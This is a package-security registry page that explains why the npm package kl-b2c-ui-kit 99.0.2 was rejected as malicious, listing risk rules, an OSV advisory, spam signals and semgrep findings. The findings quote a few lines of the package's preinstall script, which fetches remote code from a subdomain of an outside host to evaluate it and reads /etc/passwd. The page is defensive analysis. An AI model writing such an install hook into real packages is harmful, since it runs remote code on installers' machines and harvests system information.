All kl-b2c-ui-kit versions

[email protected] rejected Risk: 100 ISC

kl-b2c-ui-kit @99.0.2

rejected
This version was rejected. It did not pass GreenFlagged's security review and is not served by the registry. The findings and risk dispositions below explain why.
npm Tarball
100
Risk Score
ISC
License
Yes
Install Scripts
0
Dependencies
0
Dev Dependencies
.8 KB
Package Size
Published

kl-b2c-ui-kit utilities

Maintainers

m0ntana

Keywords

bug bounty

Risk Dispositions (4 applicable to this version, 0 other)

Accepted rules are downgraded to INFO on future analyses; rejected rules escalate to CRITICAL.

Rule Source Disposition Author Reason
install-script:preinstall install-scripts reject AI AI (install-scripts): Preinstall fetches and evals remote code; malicious by design.
bogus-package bogus-package reject AI AI (bogus-package): SPAM-FLAGGED publisher, no repo, empty payload — generalizes to all versions.
semgrep:etc-passwd-access semgrep reject AI AI (semgrep): Credential harvesting via /etc/passwd access in preinstall script.
semgrep:eval-usage semgrep reject AI AI (semgrep): eval() of remotely fetched code in preinstall — arbitrary code execution.

SAST Findings (6)

CRITICAL MAL-2026-3082: Malicious code in kl-b2c-ui-kit (npm) osv

--- _-= Per source details. Do not edit below this line.=-_ ## Source: ossf-package-analysis (062a330ce03c4a841b8c5f866ecb5f08d9b7263be3b863721875276f06b0bb1d) The OpenSSF Package Analysis project identified 'kl-b2c-ui-kit' @ 99.0.2 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.

HIGH Package has 'preinstall' script install-scripts

Script: node preinstall.js

HIGH Low-value / spam package indicators (5 signals, score 7) bogus-package

Matched 5 signal(s), weighted score 7: • [S_KNOWN_SPAM_PUBLISHER] Maintainer(s) previously flagged as spam: m0ntana. • [S_NO_REPO_NO_HOME] No repository, homepage, or bugs URL — genuine packages almost always link somewhere. • [S_NO_DEPS] No runtime, dev, peer, or optional dependencies declared. • [S_TINY_PAYLOAD] Tiny payload: 3 code file(s), 2032 bytes total. • [S_EMPTY_MAIN] Entry point (index.js) is 21 bytes — effectively empty.

HIGH etc-passwd-access: poc.preinstall.js:13 semgrep

Accessing /etc/passwd or /etc/shadow — credential harvesting on Linux 11 | const pkg = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-"); 12 | > 13 | // Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only) 14 | http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => { 15 | let body = "";

HIGH etc-passwd-access: preinstall.js:13 semgrep

Accessing /etc/passwd or /etc/shadow — credential harvesting on Linux 11 | const pkg = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-"); 12 | > 13 | // Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only) 14 | http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => { 15 | let body = "";

LOW No provenance attestation provenance

Package was published without Sigstore provenance. Only ~12% of npm packages have provenance, so this is common but not ideal.

Review Summary

Risk score: 100 (capped from 163). Findings: 1 critical (+40), 4 high (+100), 2 medium (+20), 1 low (+3).

Published to npm: